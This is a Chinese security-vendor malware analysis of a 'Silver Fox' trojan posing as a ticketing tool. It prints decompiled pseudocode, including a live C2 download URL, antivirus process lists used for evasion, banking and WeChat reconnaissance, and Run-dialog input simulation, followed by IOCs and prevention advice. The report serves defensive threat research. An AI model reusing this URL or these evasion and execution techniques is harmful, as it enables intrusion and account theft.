概述
近期瑞星接到用户反馈的疑似银狐木马样本,经过分析确认,该样本是一个伪装成票务工具,是一个具备环境感知与按需投递能力的下载器,最终将下载易语言编写的模块化的银狐木马并执行。样本采用多阶段投递的方式,逐层按需落地恶意载荷。Payload执行后,并非立即窃取数据,而是优先完成对目标主机的深度环境画像,采集多种目标主机的内容,基于采集结果,恶意程序会动态评估目标价值,针对具备特定条件的机器,差异化下发特定恶意模块,实现按需精准操作的同时,大大的减少非任务代码暴露,增加分析难度。
样本分析
初始样本
| 字段 | 内容 |
|---|---|
| 原始文件名 | 票票-20261647209_工具.exe |
| 文件大小 | 231.00 MB (242238464 bytes) |
| 文件MD5 | d479a5686227d2e56c89e8d750b1f786 |
| 文件类型 | EXE |
| 病毒名 | Downloader.Agent!1.1384F |
| 主要功能 | 下载第二阶段的payload |
初始样本伪装成票务工具,从文件大小和内容上看存在明显的膨胀痕迹。程序运行后,首先检测当前是否处于调试状态并记录,随后通过HTTP接口连接远程服务器,请求下载第二阶段的恶意Payload。下载完成后,尝试在D盘或E盘根目录下创建8字节长度随机文件名的EXE文件,将下载的Payload写入并执行。相关代码如下:
void MainProc()
{
C2Client client;
int flags = -1;
__try {
flags = 0;// 初始化SEH和GS
if (!IsDebuggerPresent()) {// 反调试检测
flags = 0;
}
C2_Comunication_Proc();// 启动C2通信
// 正常情况不会到达这里
client.Init();
//省略部分代码
} __except(SEH_40C8F0()){
// 异常处理
flags = -1;
_exit(-1);
}
}
void C2_Comunication_Proc(){
//省略部分代码
//创建HTTP客户端并配置下载URL
void* url_obj = CreateString(L"http://148.178.74.60:4455/xiazai?m=plqwesxccc.exe");
//省略部分代码
int result = DownloadPayload(buffer, ...);
//尝试写入D盘或者E盘根目录运行
//省略部分代码
}
下载的恶意程序
| 字段 | 内容 |
|---|---|
| 原始文件名 | plqwesxccc.exe |
| 文件大小 | 6.26 MB (6574080 bytes) |
| 文件MD5 | b640f7fbc62f46fc9add24ae99fe66d4 |
| 文件类型 | EXE |
| 主要功能 | 收集信息回传C2,等待C2命令执行后续操作 |
该Payload加了VMProtect壳,主要用于隐藏代码逻辑和关键函数调用参数,增加逆向分析难度。
Payload运行后,第一步,创建第一个标记文件,检查标记文件D:\999999.txt或E:\999999.txt是否存在,若不存在,则创建(优先D盘,失败则创建于E盘),文件内容为当前日期,格式:月-日。
int MainEntry(){
//省略部分代码
found = Check_PathFileExist("D:\\999999.txt"); // 检查文件是否存在
if (found == 1){//文件存在
//存在则读取其内容
ReadFileContain(1, (char *)"D:\\999999.txt");
//省略部分代码
}
else{ //文件不存在(首次运行)
WriteFileContain(2, (char *)"D:\\999999.txt");// 创建文件并写入内容
//省略部分代码
}
//再次检查 D 盘标记文件
found = Check_PathFileExist("D:\\999999.txt");
if (!found){ //如果D盘标记文件仍然不存在
WriteFileContain(2, (char *)"E:\\999999.txt");//在E盘重复上述流程
ReadFileContain(1, (char *)"E:\\999999.txt");
//省略部分代码
}
//省略部分代码
}
第二步:创建第二个标记文件,通过执行VBS脚本收集系统名称和系统版本号,之后在系统TEMP目录的同级目录中创建一个无后缀且文件名长度为16个十六进制字符的文件。文件内容格式为[config]\r\nmac=Machine_GUID,其中Machine_GUID是根据系统架构、系统名称、系统版本号等信息组合计算得到的ID,经过特定编码规则编码后写入文件。例子如下:
| 编码状态 | 实际内容 |
|---|---|
| 原始数据 | [config]\r\nmac=DD3ABC2D-4A45-47DF-9F1E-0369F78B9729 |
| 编码后 | F36B0000F1593F1EB1E832491572EFF3AF2F96C96B712F5FF9FD424FFFD9DE2C4BC1741443F90CE7E326FC59D6868B62AD3D |
Function OperatingSystem(P)
Dim WMI, Obj
Set WMI = GetObject("winmgmts:{impersonationLevel=impersonate}").InstancesOf("Win32_OperatingSystem")
For Each Obj In WMI
Select Case P
Case "系统名"
OperatingSystem = Obj.Caption
Case "系统版本号"
OperatingSystem = Obj.Version
End Select
Exit For
Next
End Function
int WriteTemp_ConfigFile_Proc1(){
//省略部分代码
RtlAdjustPrivilege_Proc(20, 1, (int)&UserName_Proc, 0);//提升进程权限
//获取系统位数(x86/x64)
Sys_Arch_Info = GetSystemArchInfo_Proc();
//通过执行VB脚本获取操作系统名称和版本号
OperaSystemInfoFromVBS = GetOperaSystemInfoFromVBS(&pStr_OperaSysInfo, 1, &pStr_SysVer, 1);
//省略部分代码
UserName_Proc = (LPVOID)GetUserName_Proc(); //获取当前用户名
//省略部分代码
pEncodeBuff = (LPVOID)EncodeInfo_use_cpuid(); //使用CPUID生成硬件指纹
//省略部分代码
pStr_GUID = (LPVOID)CreateGUID_Proc(); //创建新的GUID
str1 = "mac";
str2 = "config";
// 拼接内容并编码对应BUFF
CatInfoAndEncodeBUFF(&reslut,&str2,&str1,&pStr_GUID);
//省略部分代码
WriteTemp_ConfigFile_Proc(&Path, &reslut);//写入标记文件2
}
第三步:加载通信模块,通过MEMLoader方式从资源中加载Payload自带的易语言编写的名为开阔云的通信模块,该模块基于HP-Socket开源项目(https://github.com/ldcsaa/HP-Socket)封装而成,供后续流程使用。
| 易语言模块内接口 | 实际关联的接口 |
|---|---|
| KaiKuoYun_STCP_Client_Create | Create_HP_TcpPullClientListener |
| KaiKuoYun_STCP_Client_SetOnParameter | HP_Client_GetExtra |
| KaiKuoYun_STCP_Client_HasStarted | HP_Client_HasStarted |
| KaiKuoYun_STCP_Client_SetSocketBufferSize | HP_TcpClient_SetSocketBufferSize |
| KaiKuoYun_STCP_Client_SetOnClose | HP_Set_FN_Client_OnClose |
| KaiKuoYun_STCP_Client_SetOnReceive | HP_Set_FN_Client_OnPullReceive |
int LoadKaiKuoYunModule(){
//省略部分代码
//判断入口函数指针是否为空
if ((result = MEMLoadKaiKuoYunModule_Ctrl(a2)) != 0 || pFunc_KaiKuoYun_Main ){
//省略部分代码
//调用模块入口函数初始化模块
CallDLLFunc(pFunc_KaiKuoYun_Main, v7, v4);
//省略部分代码
}
return result;
}
BOOL MapKaiKuoYunModule_Ctrl(){
//省略部分代码
if (!pDllHandle_KaiKuoYunDLL){
lpMem = &Emb_ComBin1;// 指向嵌入的二进制数据
ptmp = (LPVOID)LoadMEMDLL_(&lpMem, 1, 1, 0, 0);//从内存加载DLL
//省略部分代码
pDllHandle_KaiKuoYunDLL = (int)ptmp;//保存DLL句柄
}
//省略部分代码
}
第四步:收集杀软信息,Payload通过调用ZwQuerySystemInformation获取当前系统所有进程名,通过检测特定进程名识别杀软类型。当前版本关注的杀软共6类:360杀毒、360安全卫士、火绒安全、电脑管家、金山毒霸、2345安全卫士。具体进程名及对应分类如下:
| 安全软件名称 | 进程名 |
|---|---|
| 360杀毒 | 360sd.exe,360rps.exe,360rp.exe |
| 360安全卫士 | 360Tray.exe,ZhuDongFangYu.exe |
| 火绒安全 | HipsDaemon.exe,usysdiag.exe,wsctrlsvc.exe,HipsTray.exe |
| 电脑管家 | QMSignScan.exe,QMDL.exe,QQRepair.exe,QQPCTray.exe,qmbins.exe,QQPCRTP.exe,QQPCRealTimeSpeedup.exe |
| 金山毒霸 | kxecenter.exe,kxetray.exe,kwsprotect64.exe,kxescore.exe,kcddltool.exe |
| 2345安全卫士 | 2345RTProtect.exe,2345SafeTray.exe,2345SafeSvc.exe,2345SafeCenterSvc.exe |
第五步:启动行为监控线程,定时收集活跃窗口标题、系统空闲时间、银行网盾及微信程序的存在状态,待适当时机回传C2。
void Collect_SysTarget_Info(){
//省略部分代码
if (g_bSkipCollection || g_bWinContainFlag != 1) {
return; // 跳过信息收集
}
//省略部分代码
pWindowTitle = GetWindowTitle(GetForegroundWindow());//获取窗口标题
//省略部分代码
LogInfo_Add("活动窗口", "标题", pWindowTitle);
//省略部分代码
}
void Collect_SysTarget_Info(){
//省略部分代码
//获取系统空闲时间(单位:毫秒或系统滴答数)
DWORD dwIdleTime = GetSystemIdleTime();
//省略部分代码
pszIdleTime = FormatTimeToString(dwIdleTime, 0x80000301);
//省略部分代码
LogInfo_Add("系统信息", "系统空闲时间", pszIdleTime);
//省略部分代码
}
void Collect_SysTarget_Info() {
//省略部分代码
while (1) {
//省略部分代码
Call_FunctionHandle(3, 2, GetFileExInfo_Proc, current_str);
//省略部分代码
found = CallFuncHandle(_memicmp_ctrl, str_to_check,"银行",...);
//省略部分代码
found = CallFuncHandle(_memicmp_ctrl, str_to_check,"网银",...);
//省略部分代码
found = CallFuncHandle(_memicmp_ctrl, str_to_check,"盾",...);
//省略部分代码
found = CallFuncHandle(_memicmp_ctrl, str_to_check,"工商",...);
//省略部分代码
found = CallFuncHandle(_memicmp_ctrl, str_to_check,"农业",...);
//省略部分代码
found = CallFuncHandle(_memicmp_ctrl, str_to_check,"交通",...);
//省略部分代码
if (found) {
Log_Info(obj,"系统信息","银行信息", "有");
} else {
Log_Info(obj,"系统信息","银行信息", "无");
}
i++;
}
//省略部分代码
}
void Collect_SysTarget_Info() {
//省略部分代码
found = FindTargetProcess(&"WeChatAppEx.exe");
found = FindTargetProcess(&"WeChatPlayer.exe");
if (found == 1) {
Log_Info(obj, "系统信息", "微信信息", "已登录");
}else{
Log_Info(obj, "系统信息", "微信信息", "未登录");
}
//省略部分代码
}
第六步:连接C2,启动线程连接C2地址 148.178.74.41,等待C2回传命令做进一步操作。
第七步:整合信息并回传,在数据包收包回调函数中,整合之前各阶段收集的信息,统一拼接成数据包,等待合适时机回传C2。所整合的信息内容包括:
| 信息类型 | 内容示例 |
|---|---|
| 系统信息 | 系统配置=MicrosoftWindows7旗舰版(6.1.7601)X64,机器码=893B21FC-D75B-487E-A14D-69C2673396E6,空闲时间=400,计算机名字1=WIN-7B2LR7M8QVM |
| 进程信息 | 用户名=MSBig,路径="\",管理员身份=1 or 0,标记=00000000 |
| 设备信息 | 版本=N/A,安装时间=N/A,默认分组=N/A |
| 开机启动 | 启动组=1 or 0,启动项1=1 or 0,启动项2=1 or 0 |
| 活动窗口 | 标题=plqwesxccc.exe-PID:3048-模块:plqwesxccc.exe-线程:2792-x32dbg |
| 标记信息 | 安全软件="/电脑管家" |
表格备注:
N/A表示未获取到实际内容开机启动信息中,启动项1对应的注册表启动路径为SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run,启动项2对应注册表启动路径为:SOFTWARE\Microsoft\Windows\CurrentVersion\Run- 所有的安全软件分类包括(/360杀毒、/360安全卫士、/火绒安全、/电脑管家、/金山毒霸、/2345安全卫士)
恶意payload技术特点分析
由于分析时C2服务器无法响应,部分命令流程无法进行详细分析。以下内容基于恶意Payload代码逻辑及静态信息综合分析得出。
- 字符串动态解码。恶意Payload中存在大量编码后的字符串,当代码需要使用这些字符串时,会先进行解码得到明文,使用完毕后立即释放,减少明文信息暴露。该样本中包含编码后的串有:
"ScriptControl",
"Language",
"VBScript",
"ExecuteStatement",
"RUN",
"OperatingSystem",
"系统名",
"系统版本号",
"shell32.dll",
"\shell32.dll",
"00000000","-","
"00",
"开阔云综合模块_",
"KaiKuoYun_Main",
"System_Idle_Process","
"\\",
":\\",
"HKEY_CURRENT_USER",
"HKEY_USERS","
"HKEY_CLASSES_ROOT",
"' '",
"年",
"月","
"时",
"分",
"秒",
"zExtractAll","
"zCloseZipFile",
"*",
"\\Temp\\",
"\\....\\",
"\TemporaryFile",
"kernel32.dll",
"zCreateNewZip",
"IsWow64Process",
"QueryFullProcessImageNameA",
"zOrderByWildcards",
"\\\*.\*",
"zCompressFiles","
"VBSContain",
"HKEY_LOCAL_MACHINE",
"0000",
"0123456789ABCDEF",
"HKEY_CURRENT_CONFIG",
"日",
"\\....\\TemporaryFile",
"Function OperatingSystem(P)
Dim WMI, Obj
Set WMI = GetObject("winmgmts:{impersonationLevel=impersonate}").InstancesOf("Win32_OperatingSystem")
For Each Obj In WMI
Select Case P
Case "系统名"
OperatingSystem = Obj.Caption
Case "系统版本号"
OperatingSystem = Obj.Version
End Select
Exit For
Next
End Function",
- 内存加载PE模块。使用相关功能时,通过内存加载方式直接加载内嵌的多个功能PE模块,供后续接口调用。
| 大小 | 文件名 | 功能 |
|---|---|---|
| 0xF600 | bszip.dll | ZIP文件操作 |
| 0x86e00 | kaikuoyun_socket.dll | 开阔云socket运行时 |
| 0x48800 | 开阔云综合模块.dll | 开阔云综合模块 |
| 0x20d59 | DrvInDll.dll | 模拟键盘鼠标的功能 |
- 动态加载
C2下发的恶意DLL。在命令流程中,存在大量恶意DLL接口调用。根据Payload静态资源推断,共有三个恶意DLL会被加载并调用,具体功能不详,相关接口信息如下:
| DLL名 | 导出函数 |
|---|---|
| ZY | ZY_CSH,ZY_WCSCWJ,ZY_MJCP,ZY_JXSCWJ,ZY_MJMLWJ,ZY_QQSCWJ,ZY_DK,ZY_FQXZWJ,ZY_GLYDK,ZY_JXXZWJ,ZY_QZDK,ZY_QQXZWJ,ZY_YSZIP,ZY_HQXZWJLB,ZY_JYZIP,ZY_XGWJSX,ZY_FSKJFSDZM,ZY_CKWJSX,ZY_XJWJJ,ZY_CMM,ZY_FZZTWJ,ZY_SCWJ,ZY_FZJQWJ |
| JC | JC_CSH,JC_JZYAZQD,JC_JZQD,JC_JS,JC_QSYJC,JC_JSXTJC,JC_QMK,JC_DWJZQD,JC_JSSYAQRJ,JC_DJ,JC_JD |
| ZM | ZM_CSH,ZM_CK,ZM_SDSBJP,ZM_JSSBJP,ZM_JCSBJPKZ,ZM_ZHAJ,ZM_JPAJ,ZM_SBAJ,ZM_QDSBJP,ZM_ZRQD, |
- 键鼠模拟执行。在
explorer.exe进程下,搜索窗口类型为#32770且Caption为运行的窗口,搜索窗口控件ComboBox、Edit以及Caption为确定的按钮,最后向特定按钮句柄发送消息,实现模拟键鼠操作执行任意程序的功能
int SendMessageToEmunMouse_ctrl(){
//省略部分代码
switch(captureMode){
case 1: // 模式1:仅发送激活+焦点消息
//省略部分代码
PostMessageW(hWnd, WM_ACTIVATE, 1, 0);
//省略部分代码
PostMessageW(hWnd, WM_SETFOCUS, 0, 0);
case 2: // 模式2:仅设置鼠标捕获
Call_SetCapture(hWnd);
break;
case 3: // 模式3:激活+焦点 + 设置鼠标捕获
//省略部分代码
PostMessageW(hWnd, WM_ACTIVATE, 1, 0);
//省略部分代码
PostMessageW(hWnd, WM_SETFOCUS, 0, 0);// 发送 WM_SETFOCUS
Call_SetCapture(hWnd);
break;
}
//省略部分代码
if (actionType){
switch (actionType){
case 1: // 左键按下 (WM_LBUTTONDOWN)
result = PostMessageW(hWnd, WM_LBUTTONDOWN, 1, lParam);
break;
case 2: // 左键抬起 (WM_LBUTTONUP)
result = PostMessageW(hWnd, WM_LBUTTONUP, 0, lParam);
break;
case 3: // 单击:按下 + 抬起 (模拟点击)
// 按下
result = PostMessageW(hWnd, WM_LBUTTONDOWN, 1, lParam);
// 抬起
result = PostMessageW(hWnd, WM_LBUTTONUP, 0, lParam);
//省略部分代码
break;
case 4: // 右键按下 + 抬起
// 右键按下 (WM_RBUTTONDOWN = 516)
result = PostMessageW(hWnd, WM_RBUTTONDOWN, 1, lParam);
//省略部分代码
// 右键抬起 (WM_RBUTTONUP = 517)
result = PostMessageW(hWnd, WM_RBUTTONUP, 0, lParam);
//省略部分代码
break;
//省略部分代码
}
}
//省略部分代码
}
- 压缩包传输。数据上传下载过程中使用压缩包进行数据传递。
int ExtractZipFile_ctrl(){
int nResult;
Call_zOpenZipFile_Ctrl(a1);
nResult = Call_zExtractAll_Ctrl(a2, 1, a3, 1);
Call_zCloseZipFile_Ctrl();
return nResult;
}
int CompressZipFile_ctrl(){
//省略部分代码
Call_zCreateNewZip_Ctrl(a2);
//省略部分代码
if (Call_zOrderByWildcards_Ctrl(a1)){
nResult = -1;
}
else{
//省略部分代码
// 执行压缩操作
if (Call_zCompressFiles_Ctrl(nFileSet1, nFileSet2, nFileSet3)){
nResult = -1;// 压缩失败
}else{
Call_zCloseZipFile_Ctrl();
nResult = 0; // 成功
}
}
//省略部分代码
}
- C2命令编号及功能说明。
| 编号 | 功能 | 编号 | 功能 |
|---|---|---|---|
| 0x5 | 对特定BUFF执行编码操作 | 0x1F5 | 初始化JC恶意模块 |
| 0x7 | ZM恶意模块相关 | 0x1F6 | JC恶意模块相关 |
| 0x8 | 落地ZM恶意模块 | 0x1F7 | JC恶意模块相关 |
| 0x9 | 初始化ZM恶意模块 | 0x1F8 | JC恶意模块相关 |
| 0xA | ZM恶意模块相关 | 0x1F9 | JC恶意模块相关 |
| 0xB | ZM恶意模块相关 | 0x1FE | JC恶意模块相关 |
| 0xC | ZM恶意模块相关 | 0x1FF | JC恶意模块相关 |
| 0xD | ZM恶意模块相关 | 0x200 | JC恶意模块相关 |
| 0xE | ZM恶意模块相关 | 0x201 | JC恶意模块相关 |
| 0xF | 获取特定窗口焦点并执行相关操作 | 0x208 | 初始化JC恶意模块 |
| 0x10 | 获取特定窗口焦点并执行相关操作 | 0x212 | JC恶意模块相关 |
| 0x14 | ZM恶意模块相关 | 0x213 | JC恶意模块相关 |
| 0x15 | ZM恶意模块相关 | 0x384 | ZY恶意模块相关功能 |
| 0x3F | 禁用WOW64重定向加载Kernel32 | 0x385 | 初始化ZY恶意模块 |
| 0x3D | 在指定路径写入特定文件 | 0x386 | ZY恶意模块相关功能 |
| 0x3E | 释放特定模块句柄 | 0x387 | ZY恶意模块相关功能 |
| 0x45 | 释放ZY模块 | 0x388 | 创建进程运行落地的对象 |
| 0x50 | 在临时目录释放同名EXE和Data并创建新进程运行 | 0x389 | ZY恶意模块相关功能 |
| 0x51 | 在临时目录释放EXE并运行 | 0x38A | ZY恶意模块相关功能 |
| 0x52 | 在临时目录释放文件提权后运行 | 0x38B | ZY恶意模块相关功能 |
| 0x53 | 通过创建新进程的方式运行EXE | 0x38C | ZY恶意模块相关功能 |
| 0x54 | 通过创建JOBObject方式运行程序 | 0x38D | ZY恶意模块相关功能 |
| 0x55 | 添加落地程序到系统自启项 | 0x38E | ZY恶意模块相关功能 |
| 0x5A | 释放落地压缩包文件到临时目录 | 0x38F | ZY恶意模块相关功能 |
| 0x5C | 解压落地的压缩包并执行特定EXE文件 | 0x390 | ZY恶意模块相关功能 |
| 0x5F | 空指令 | 0x391 | ZY恶意模块相关功能 |
| 0x60 | 落地运行对象并通过模拟按键的方式点击运行框确定按钮执行 | 0x392 | ZY恶意模块相关功能 |
| 0x61 | 空指令 | 0x393 | ZY恶意模块相关功能 |
| 0x64 | 收集处理器,内存,用户名等系统信息 | 0x394 | ZY恶意模块相关功能 |
| 0x6E | 获取系统工作区大小相关 | 0x395 | ZY恶意模块相关功能 |
| 0x6F | 获取系统工作区大小相关 | 0x398 | ZY恶意模块相关功能 |
| 0x71-1 | DrvInDll模块相关 | 0x399 | ZY恶意模块相关功能 |
| 0x71-2 | DrvInDll模块相关 | 0x39A | ZY恶意模块相关功能 |
| 0x71-3 | DrvInDll模块相关 | 0x39B | ZY恶意模块相关功能 |
| 0x71-5 | DrvInDll模块相关 | 0x39D | ZY恶意模块相关功能 |
| 0x71-6 | DrvInDll模块相关 | 0x39E | ZY恶意模块相关功能 |
| 0x71-7 | DrvInDll模块相关 | 0x39F | ZY恶意模块相关功能 |
| 0x71-100 | DrvInDll模块相关 | 0x3A2 | ZY恶意模块相关功能 |
| 0x82 | 获取目标进程执行权限,执行用户名,是否是设置启动项等信息 | 0x3B6 | ZY恶意模块相关功能 |
| 0x83 | 查询计划任务360ZipUpdatet相关信息 | 0x853 | 释放内嵌的DrvInDll.dll到当前目录 |
| 0x84 | 在临时目录释放.exe和.data并运行 | 0x1F40 | 发送窗口消息关闭显示器 |
| 0x85 | 创建LNK启动项,解压落地zip包并运行包内特定程序 | 0x1F41 | 设置显示器状态为开启 |
| 0x86 | 在临时目录落地,解压并运行带txt的文件1 | 0x2253 | 线程启动释放DrvInDLL.dll模块流程 |
| 0x87 | 在临时目录落地,解压并运行带txt的文件2 | 0x2694 | 线程启动收集当前机器网银和微信信息流程 |
| 0x1F4 | JC恶意模块相关 | 0x2566 | 线程启动,整合特定信息并编码后回传C2 |
总结
本次捕获的银狐样本,是一个伪装为票务工具、具备环境感知与按需投递能力的模块化远控木马。通过静态和动态行为分析可知,该版本银狐采用“诱饵下载器 → 侦察Payload → 定向恶意模块”三阶段攻击链。第一阶段以膨胀化的票务工具为诱饵完成初始投递;第二阶段Payload在深度侦察主机环境后,动态评估目标价值并选择性下发特定恶意模块。该链条设计体现出攻击者具备成熟的战术规划与模块化开发能力。
Payload执行后,优先完成对目标主机的深度环境画像,所收集的信息包括:社交软件,微信PC客户端登录状态;金融账户,银行网盾控件安装情况;系统信息,操作系统架构、系统版本、用户名、运行权限;安全环境,6类主流安全软件安装清单(360、火绒、腾讯管家、金山、2345安全卫士);行为监控,实时活动窗口标题、系统空闲时间。基于侦察结果,针对不同目标环境,动态下发对应恶意模块,实现“低价值静默、高价值定向窃取”的精细化控制。
样本在对抗分析方面采取了多重手段:VMProtect加壳、字符串动态解码、内存加载等方式;显著增加了分析和检测的难度。
综合评估,该银狐样本具备高隐蔽性、高模块化、高针对性特征。
预防措施:
-
留意电脑的“异常表现”。
没有打开任何软件,但硬盘灯持续闪烁、CPU占用异常升高。
鼠标偶尔自己“跳动”或自动点击。
未操作时,窗口标题栏突然闪烁或切换。
-
警惕微信/网银的异常行为
如果微信未操作时提示“在其他设备登录”或频繁弹出验证窗口,请立即扫描病毒。
登录网银时,如浏览器弹出“非官方控件提示”或要求安装不明插件,请立即停止操作。
-
发现异常后的应急操作
立即断网:拔掉网线或关闭WiFi。
修改重要密码:使用另一台干净设备修改微信、网银、邮箱密码。
全盘杀毒:使用已安装的安全软件进行全盘扫描。
-
养成良好的软件使用习惯。
只从官方渠道下载软件,尤其是票务类软件。
-
部署有效的终端安全产品并及时更新规则。
安装瑞星ESM防病毒终端安全防护系统并开启实时防护功能,瑞星ESM目前能够检出此次攻击事件的相关样本。

沦陷信标(IOC)
-
MD5
d479a5686227d2e56c89e8d750b1f786 b640f7fbc62f46fc9add24ae99fe66d4 -
IPv4
148.178.74.41 -
瑞星病毒名
Downloader.Agent!1.1384F